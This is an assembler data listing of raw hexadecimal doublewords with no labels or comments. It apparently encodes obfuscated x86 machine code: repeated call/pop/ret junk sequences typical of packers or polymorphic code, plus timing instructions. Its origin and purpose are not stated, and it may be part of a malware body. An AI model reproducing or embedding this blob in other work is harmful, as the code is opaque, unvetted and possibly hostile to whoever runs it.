		dd 8B69A43Eh, 221E25BDh, 0ED8D3106h, 8D06221Bh,	25DEBC85h
		dd 12E806h, 0A5690000h,	0F26EC261h, 0A9A9FEF3h,	0FB5BAA12h
		dd 66333754h, 0B886895Fh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0D889C353h
		dd 9F589156h, 0DF80550Fh, 299D8908h, 6A062220h,	8BD98B00h
		dd 2233ADBDh, 0EBB5FF06h, 6A0625CAh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 5302C353h
		dd 11E924Ch, 0CB42BA28h, 28595FFh, 6A0622h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 55D47FC3h
		dd 9676C34Fh, 0FD8A50DEh, 6A243489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B8FC357h
		dd 0E5BD8BFAh, 0FF062219h, 25CAEBB5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0AEA9BD3Eh, 0C275166h, 1AF595FFh, 95890622h,	6220EF1h
		dd 16319589h, 0BD830622h, 6221331h, 30840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 8B9C356h,	459E10D6h, 0B6B66050h, 8961D78Bh
		dd 81662434h, 0FF92C4C7h, 25CAEBB5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 719529E3h
		dd 0FF062229h, 221D4195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0DFF79AF0h
		dd 0E270AD8Dh, 311BD8Bh, 0B5FF0622h, 625CAEBh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0BCC35747h, 7C52FB89h
		dd 49F9312Ch, 0FDBD8BA5h, 6606220Eh, 0FF03ABBBh, 222FC595h
		dd 559D2306h, 83062215h, 2202A9BDh, 840F0206h, 7Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 78C35242h, 66B81825h
		dd 0BB66DA8Bh, 858BEE60h, 62200E1h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0C7C35343h,	0E7F65D6h, 6C192322h
		dd 14E924h, 18030000h, 0B29F6536h, 0B9EF9932h, 6E4B9916h
		dd 0A56B399h, 0D98B9CE4h, 6D953150h, 5B062206h,	10000C6h
		dd 222FE99Dh, 7D85C706h, 62219h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 95D5C353h
		dd 408D980Eh, 8D0196B1h, 6222495h, 0BE9h, 677D9F00h, 156BA231h
		dd 0BC2B92B3h, 0FFF300E9h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 22AA4322h
		dd 6AC18BA7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0F35AC356h, 0EC61E7C6h, 511B7B1Eh
		dd 8D5FFA8Bh, 222CB585h, 85095606h, 62206D5h, 0E950905Fh
		dd 0Ah,	7C560D69h, 5F432DF0h, 8B90306Bh, 2221DD9Dh, 0FE906h
		dd 447D0000h, 0FFDFD97Bh, 0ED5DB1E9h, 35A43AD8h, 6A006AA2h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0A2A8C356h, 0CBB71C7Ch, 0BF66006Ah, 858DF21Ah
		dd 626B290h, 6E9h, 0A5338C00h, 83EE9953h, 8B6605C0h, 0BE990F9h
		dd 0A2000000h, 0A3C9ECFAh, 0EDAE7EFCh, 5750D7ABh, 12E95250h
		dd 9B000000h, 0D6FF261Dh, 1F6F264Dh, 0E727028Fh, 866EEEC8h
		dd 5A310FECh, 6A905B58h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 9068C355h, 5501F5A3h
		dd 28D0FEAh, 0B7000000h, 6A006A39h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0A289C356h
		dd 5D117713h, 0BF0AB38Dh, 6AD8B7h, 66DA8B66h, 0FF6B7BBFh
		dd 22355595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0B4B4C5B6h, 0C2910005h, 0A90F8D8Dh
		dd 0BD890625h, 62215C1h, 1EB1BD29h, 0D1FF0622h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FCC35141h, 3216F28h
		dd 66919FDAh, 0E4C3F781h, 0F5BD83h, 0F010622h, 6785h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 7CAD41E2h, 0F026A91h, 0BB50DFBFh, 4D5C1777h,	6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 20D4C350h, 0F96A1082h, 25CB819Ch,	0B350EE49h
		dd 8595FFA5h, 66062202h, 8D29D98Bh, 6221279h, 0D97E9h
		dd 0E800h, 815D0000h, 26B29AEDh, 6AF906h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 2DA9DAC3h
		dd 75278022h, 8DFE8BACh, 25934585h, 5050F506h, 0D88B6652h
		dd 585A310Fh, 0B7240489h, 35FF64E0h, 0
		dd 11E9h, 96061600h, 91287E6Eh,	3D4961BAh, 0FC1024C8h
		dd 0BF0F0755h, 258964DBh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 32C35747h
		dd 8BA89780h, 0B185FFFBh, 6A062208h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 5D35C352h
		dd 0F0A14809h, 2A13E7D8h, 308D9509h, 0BD8B0622h, 6220659h
		dd 0FF6AF88Bh, 19659D8Bh, 0B5FF0622h, 62201E5h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 79C35141h, 0E726838h
		dd 0DE83Fh, 0E3950000h,	0B9534581h, 5D203572h, 1740A46h
		dd 2227C1BDh, 0F98B5B06h, 1C3595FFh, 8E90622h, 8B000001h
		dd 2212A9BDh, 0E900B006h, 0Ch, 0F710E506h, 23410055h, 0C29E97C6h
		dd 0BE970E6h, 49000000h, 531E5494h, 0B5C15B48h,	0E3800B0Fh
		dd 6671E412h, 8A3A0CBBh, 0F613CFDh, 0CA83h, 2BF6600h, 0C8B60F3Ah
		dd 6BAFA8Bh, 66000000h,	8D3FC381h, 8531C18Bh, 6223081h
		dd 8904E8C1h, 22352D9Dh, 0E2F76606h, 2D959D8Bh,	0C82B0622h
		dd 25A5BF66h, 0BB66D18Bh, 6E9E9ADh, 29000000h, 22200D8Dh
		dd 0D9858B06h, 8B062210h, 220301BDh, 7C08306h, 21098509h
		dd 0C0830622h, 0E93DB700h, 0Ah,	32C604EBh, 35C98645h, 0D03B9BB5h
		dd 11830Fh, 0B5890000h,	6223531h, 4AE9h, 0EFD38100h, 8B1801E4h
		dd 2229658Dh, 19952906h, 106220Ah, 221EB1B5h, 1E18306h
		dd 29840Fh, 0BD8B0000h,	622132Dh, 2965A583h, 89FE0622h
		dd 2231C1BDh, 0D9958906h, 0BF062210h, 4A9DEB45h, 2FADB501h
		dd 0E90622h, 8D000000h,	2620B8B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0EA774680h
		dd 0E6271B65h, 6E9h, 5C836400h,	6ADA6918h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 840EC961h, 85E1BCF5h, 0C38166DCh, 95FF25BAh,	6223075h
		dd 23D88B66h, 221115BDh, 7EBB906h, 820F0000h, 4, 0E5A5BB66h
		dd 6AFCE183h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 9DDCC356h, 81298442h, 780785DFh
		dd 6AFC4Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 8663F2C3h, 0E46218CFh, 0F3815D74h, 7B2EB474h
		dd 0B8h, 0BA00h, 9D8B0000h, 6221615h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0B5C35545h, 7ED3B57Dh, 19D03BBh, 0E8062214h, 0Eh
		dd 0E1C10FCBh, 0B6452290h, 2072B2DFh, 11E81F70h, 87000000h
		dd 0F7FA2F2Ah, 0CD4019BFh, 0B5B06591h, 1AC02E28h, 3219BD89h
		dd 5B5B0622h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	91C35242h, 0A405A0EBh, 32DB042Eh, 880D88h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 7B64A9C3h, 0E97DD939h, 11h, 358CD323h, 0DD598B1Ah, 5358A516h
		dd 0DFC278C2h, 0F1958B6Eh, 89062233h, 2221259Dh, 318D8B06h
		dd 6A06222Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 329BC353h, 65762048h, 6830FDFh
		dd 89000000h, 22194D9Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 8A58188Bh, 50006ADCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 2E337FC0h
		dd 81669A59h, 8342A9C3h, 222C69BDh, 840F0006h, 6Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 47C35747h, 1C9BD23h
		dd 0B80622h, 89000000h,	222C799Dh, 0B18D8D06h, 89062250h
		dd 22021185h, 16BB6606h, 6AE1FF32h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0E300C352h
		dd 5433302h, 7C795DE5h,	16E78166h, 2DBD8B9Fh, 83062215h
		dd 2230E5BDh, 840F0006h, 437h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 23C35343h, 0B19D23FCh, 8B062215h
		dd 2228A5BDh, 0E5BD8306h, 1062230h, 41C840Fh, 9D8B0000h
		dd 62220F1h, 30E5BD83h,	0F030622h, 3D386h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0BBC41B24h, 13E90466h, 0B1000000h, 5DFE3F44h, 718D5B44h
		dd 0D9BBDD0h, 827FC900h, 85013F85h, 62219C5h, 56006A60h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 24788433h, 0D1878980h, 8C66ED00h, 56006AD9h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0E994EC37h
		dd 0E1803988h, 6E904h, 11150000h, 0EADD4553h, 840FC90Ah
		dd 11Fh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	5DC35545h, 4574CCEBh, 661B50A8h, 8BE4DCBBh, 2210B985h
		dd 7D953106h, 33062226h, 2208A585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0B7CB113Dh
		dd 160879C1h, 48950DAh,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8BE33DB2h, 1006AF8h, 2234C195h
		dd 31296806h, 481BEC7h,	57D2D624h, 55006A41h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0CAF6717Bh
		dd 0FE1D84Ah, 383h, 0D88B6600h,	1E9195FFh, 6A0622h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0EFDCD6C3h, 805189A2h, 0BADAC4BFh, 0EB858970h, 6A0625CAh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 3837C355h, 34860686h, 1B4E9h, 59BD8B00h
		dd 8B062233h, 25CAE385h, 0D9D3106h, 0C7062222h,	1800h
		dd 0B6BB6600h, 819D095Ch, 8B062221h, 25CAE7B5h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0D35F3BFAh, 1CD0EAC8h, 29B59D8Bh, 0BD8B0622h, 6221B9Dh
		dd 0A65858Bh, 9D290622h, 62221F5h, 2215BD8Bh, 6890622h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AC35242h
		dd 0B9858B17h, 0F062210h, 483h,	0CDBF6600h, 44689D1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0AC35141h, 5F9C52Dh
		dd 0A0B182B3h, 0B99D8BCBh, 50062228h, 0C4BF6660h, 348961EAh
		dd 10E924h, 0F7540000h,	83A079E9h, 0B5D14238h, 9C65F51Fh
		dd 0B5FFD67Dh, 625CAE3h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 43C35545h, 8D0F37BCh,	5, 3E2404BFh, 0DEE7685Fh
		dd 66606168h, 0CE8C28Bh, 0E9000000h, 0CF0F3969h, 4F152F0Bh
		dd 600C1983h, 81615F61h, 0DD182434h, 6A6177h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 6AE418C3h
		dd 503E8E45h, 29F31BD1h, 2230DDB5h, 0FD9D8B06h,	8D06220Eh
		dd 25CAEB85h, 68C0F06h,	8B000000h, 220A09BDh, 0FD8A9006h
		dd 90BFB750h, 185D8501h, 95FF0622h, 6221E91h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 33C35747h, 22ECE5CAh,	0D6518709h, 860F617Fh
		dd 12h,	0DE9h, 0CBDED900h, 9D9E585Ah, 0BDE20A1Ch, 35B7D465h
		dd 30E585C7h, 30622h, 0BD290000h, 6221B9Dh, 0CAEBBD83h
		dd 0F000625h, 2F84h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 313C52BBh, 2218A985h
		dd 21E906h, 0CB810000h,	7029BA2Bh, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 633DC356h, 0F97FC63Bh, 6AA6E69Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 9951C353h
		dd 198D294Ch, 83062210h, 2230E5BDh, 850F0306h, 3D2h, 1E9DBD33h
		dd 0BD830622h, 625CAEBh, 0BF840F00h, 0E9000003h, 8, 0BE431613h
		dd 0E82EC002h, 0FFD8BF0Fh, 25CAEBB5h, 85850906h, 0FF062214h
		dd 221DCD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0FF16577Dh, 0B70F0446h, 0DFB58BFAh
		dd 890625CAh, 2220F195h, 106C706h, 50000100h, 13E8h, 5B468C00h
		dd 0C19EB457h, 0C8F1B362h, 8AD53648h, 0E5FF8BF0h, 7E85250h
		dd 3000000h, 562A1CBDh,	0F5F5733h, 0F525031h, 5A585A31h
		dd 34895F58h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0C38166DEh, 0B5FF5ED9h, 625CAEBh
		dd 2299D8Bh, 95FF0622h,	6222541h, 13810Fh, 0EE90000h, 68000000h
		dd 47F5913Dh, 33810964h, 0EABA0008h, 0DFB58BAAh, 0F0625CAh
		dd 682h, 5DBD8B00h, 0E906220Fh,	14h, 1658A26Ch,	0B174682Ah
		dd 325BC362h, 0B69F8908h, 1A5BAB71h, 1B2D858Bh,	8D010622h
		dd 6223401h, 0C48689h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 221182C3h, 0F1958BFCh
		dd 6A062233h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 2969C353h, 221A498Dh, 4C28306h
		dd 2993BB60h, 8B604F4Eh, 222D1585h, 4FDA8106h, 61762072h
		dd 20508961h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	0C35747h, 1C658D01h, 0BD290622h, 62214D1h, 0DEBC858Dh
		dd 6A0625h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0D49B9EC3h, 1D6DE361h, 0B88689h, 0BD8B0000h
		dd 62228F1h, 6E9h, 0E7467000h, 6AC13EE1h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 37A9069h, 0CA40BBA5h, 0B5FF7572h, 625CAEBh, 829BD89h
		dd 95FF0622h, 6220285h,	0EE9h, 0EF43FD00h, 0E0838803h
		dd 80C74355h, 964DFB12h, 0F50FA8Bh, 0A8Dh, 5E900h, 7FF10000h
		dd 960A113Ah, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	3DC35747h, 10BDB509h, 0B5FF0622h, 625CAEBh, 9E9h
		dd 2038900h, 0C5EAD713h, 95FF7CF0h, 6221AF5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0C0C35646h, 0D98B0504h
		dd 1331BD83h, 0F000622h, 2684h,	11BF6600h, 8B6696D3h, 0EE850D9h
		dd 43000000h, 6E0E130Bh, 0D4DC7E6h, 0DA282172h,	5BD88BD6h
		dd 0C1958996h, 0FF062204h, 25CAEBB5h, 0FFFD8A06h, 221D4195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0B5FF89B6h, 625CAEBh, 3511BD89h,	95FF0622h
		dd 6222FC5h, 0BD83D98Ah, 62202A9h, 71840F02h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0EDF7C357h, 2D25E73Ah, 0E1858B66h, 6A062200h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 5B8FC351h, 0FCEC5FEEh, 0FE991h, 770E0000h
		dd 0A13EC1A2h, 604A628Eh, 0D3208B03h, 0C6BBh, 0BE9h, 0EB16AB00h
		dd 0F856E10Fh, 263C05E8h, 197D85C7h, 622h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0A4C3C5C3h, 9EFC431Ch, 80999119h, 5FE9A0CBh,	0FCFFFFF3h
		dd 6AC18Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 7C13DC3h,	0A6960EEBh, 9D0B98D0h, 6220121h
		dd 2CB5858Dh, 95890622h, 6220F9Dh, 8E950h, 0A8370000h
		dd 0E1DF7B52h, 4898646h, 6AFC24h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 45C35343h, 0A12D6E57h, 0D38156A3h
		dd 162C5EB8h, 6A006A5Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 76BCC350h, 6F68EB99h
		dd 1F858DE1h, 6A0626C2h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8392C351h, 6A05C0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 159A5EC3h, 866F578Ch, 6820Fh, 9D8B0000h, 6221659h, 895B5650h
		dd 0D88B2404h, 6A006Ah,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 3BC35747h, 0BE833E13h, 95FF2742h, 6223555h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0AC35646h
		dd 0BE8h, 0ED0E1000h, 5ED3150Bh, 0C7544B8Fh, 5BF8B70Fh
		dd 0A90F8D8Dh, 12E90625h, 0A7000000h, 0FE8FCB49h, 9C22F12Dh
		dd 61A7ED0h, 7B3D7AA2h,	1D1FF30h, 22019D85h, 0F5BD8306h
		dd 1062200h, 9D850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 6A5080C3h, 51006A02h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 2C4EC847h, 58870A0Bh, 7CD4D781h, 0EB813E31h,	5FD935C0h
		dd 0BF665650h, 895F3537h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0C0AAA9C3h, 6652B746h
		dd 95FFDF8Bh, 6220285h,	0BD9D8Bh, 10E90622h, 9D000000h
		dd 9AE40827h, 71F3DB33h, 0AF645D5Eh, 0E96A9A85h, 0CDFh
		dd 0E8h, 0ED815D00h, 626C229h, 4DE78166h, 12E9E1h, 0AA080000h
		dd 0C1D43BB9h, 0C93FB78h, 0F56A74ABh, 0E9463AC2h, 9345858Dh
		dd 0BF660625h, 0DB804A2Eh, 516050FBh, 310F5250h, 575B585Ah
		dd 489615Ah, 91BD3124h,	6406220Ah, 35FFh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0C740D3C3h, 3606BB37h, 89647795h, 25h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 792B706h, 8B185FFh, 6A0622h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0B735C0C3h, 6AFF6A62h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 495AC352h
		dd 3BC6EFC0h, 985891Bh,	66062203h, 0E587CF81h, 0A85B5FFh
		dd 95FF0622h, 6221C35h,	114E9h,	9E900h,	0E9800000h, 2E012C2Ch
		dd 0B046B41Fh, 0F970E600h, 5BBF71E4h, 8172C2BDh, 7D9708D7h
		dd 0F613C76h, 0EC83h, 14E800h, 526C0000h, 0C7B63D17h, 0DAAA8B9Dh
		dd 44252CD0h, 24CAF063h, 11E9898Ah, 71000000h, 0A9A173C1h
		dd 7A09DDAh, 3AEB0300h,	811E12F5h, 0C8B60F5Bh, 0BAD98B66h
		dd 6, 256DBD8Bh, 0C18B0622h, 0F544E380h, 6004E8C1h, 89A6BE66h
		dd 70D9589h, 66610622h,	0C82BE2F7h, 0A81BD2Bh, 0D18B0622h
		dd 2E9h, 8BB2B300h, 22014585h, 71B53106h, 8306221Bh, 8B0F07C0h
		dd 0
		dd 1EA59501h, 0C0830622h, 7820F00h, 51000000h, 0E6F38166h
		dd 0D03B5B2Dh, 0C830Fh,	0BD8B0000h, 6222C95h, 44E9h, 8D8BF500h
		dd 62207ADh, 80CBF66h, 0E8D9D89h, 0E1830622h, 2A840F01h
		dd 8B000000h, 221ECDBDh, 0ADA58306h, 0FE062207h, 5319531h
		dd 95890622h, 6220145h,	68D0Fh,	85090000h, 6220191h, 0E9h
		dd 0D2B58D00h, 6A062629h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 302FC357h, 6A006AEDh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0FA8CC351h, 97F0A6B6h, 89A6DA18h,	220ED1B5h
		dd 7595FF06h, 6A062230h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0B995C355h,	88Fh, 2855BD8Bh
		dd 0E1830622h, 8850FFCh, 0F000000h, 281h, 0FCDA8B00h, 56FABF0Fh
		dd 3219BD8Bh, 2B5B0622h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 1D511CF2h, 3F636154h
		dd 99E38166h, 45B58935h, 2B062200h, 81BD8BD2h, 0AD062231h
		dd 0E8D1C233h, 0E983D003h, 66F47504h, 9589FB8Bh, 6221A01h
		dd 7A3BFFBBh, 880D4Ah, 7E80000h, 0D4000000h, 19E3ADBEh
		dd 8B660FACh, 958B5BDEh, 62233F1h, 0B1BD8960h, 0F06221Dh
		dd 38Fh, 0D68B6600h, 318D8B61h,	6A06222Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0A8EBC352h
		dd 0A26CEF46h, 6610EF80h, 592DE381h, 1F69BD89h,	8B500622h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0BDC35242h, 0BE9E4h
		dd 226D0000h, 97D33C40h, 0F9D8F285h, 0E58D0192h, 0E9062228h
		dd 13h,	0F34D25C7h, 4C216EA3h, 65217918h, 10653100h, 83120477h
		dd 222C69BDh, 840F0006h, 83h, 29B5BD2Bh, 85890622h, 6222099h
		dd 0B8h, 0D19D2900h, 8D06221Ch,	2250B18Dh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 13EADD45h, 8589BDFFh, 6222849h, 13E9h, 3E12D500h, 1950B68Ch
		dd 2F0AC383h, 0C24AF45Ah, 0D97DB189h, 6AE1FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0D68431C3h, 79BD8974h, 83062201h, 2230E5BDh,	840F0006h
		dd 420h, 0BD83DF8Bh, 62230E5h, 2C840F01h, 6A000004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 911C355h, 6BF19494h,	7D04F832h, 7E9h, 94055000h, 0A561BE40h
		dd 9E8h, 1EE8CB00h, 0C478A41Fh,	850FC346h, 4, 2391BF66h
		dd 0E5BD835Bh, 3062230h, 39F860Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0F6D829C3h
		dd 16AE9993h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0E957894Eh, 10h, 0B77ADC93h, 56D60656h
		dd 0A28EE117h, 0B2F8B072h, 8C66F55Fh, 4E180D9h,	840FC90Ah
		dd 100h, 2870Fh, 0DE8B0000h, 10B9858Bh,	0BE80622h, 69000000h
		dd 36C9B988h, 1D5DE1A4h, 0BE95A08h, 0F9000000h,	3AC6D40h
		dd 0DD70CEF7h, 335B1EE7h, 2208A585h, 36EEBF06h,	50900158h
		dd 8C0F5160h, 0
		dd 0F590615Bh, 6A3EE380h, 85036000h, 62209EDh, 5F59D8Bh
		dd 0E9610622h, 6, 0EE801345h, 0A468D9F6h, 81957868h, 9B5B2404h
		dd 6A6AA6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 84DA46C3h, 0D3816681h, 95FF0FD6h,	6221E91h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B4C35141h
		dd 9EE0E601h, 5EDD9155h, 25E19589h, 85890622h, 625CAEBh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 93C35141h
		dd 9D89D4A9h, 6221571h,	5870Fh,	0DCBF0000h, 0E91A66C2h
		dd 1D2h, 0CAE3858Bh, 6E80625h, 8C000000h, 44966C43h, 8B0F9Ah
		dd 5B000000h, 1800C7h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 7E453C3h, 0D8F7BDD4h
		dd 0CAE7B58Bh, 6A0625h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 597542C3h, 0F04BBB97h, 9D2927C2h
		dd 6220019h, 0A65858Bh,	0BD890622h, 6222AA9h, 0BD890689h
		dd 6222041h, 858BB0B3h,	62210B9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 6DC35141h, 0D1B81666h, 4689D833h
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 316313EEh, 7E96D646h, 8B50CDB7h,	243489F8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E3C35040h
		dd 0BD8BBD78h, 62200E5h, 0C99D33h, 0BE80622h, 0ED000000h
		dd 10DA6AB3h, 1BA56B12h, 81660F67h, 5B9D0CCFh, 0CAE3B5FFh
		dd 0B70F0625h, 0ED8589FEh, 68062210h, 697EED0Ah, 0B9BB5250h
		dd 0F20681Dh, 55BF6631h, 81585A07h, 0EEF52434h,	6A6961h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0A45F76C3h, 8C0FDFB8h, 2, 858D5F51h,	625CAEBh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 64C35242h, 0BF66467Eh
		dd 0B5899648h, 6221E2Dh, 6E990h, 0D6980000h, 0D5563420h
		dd 0D98A5250h, 0BD8B905Fh, 6222225h, 13E9h, 988C4800h
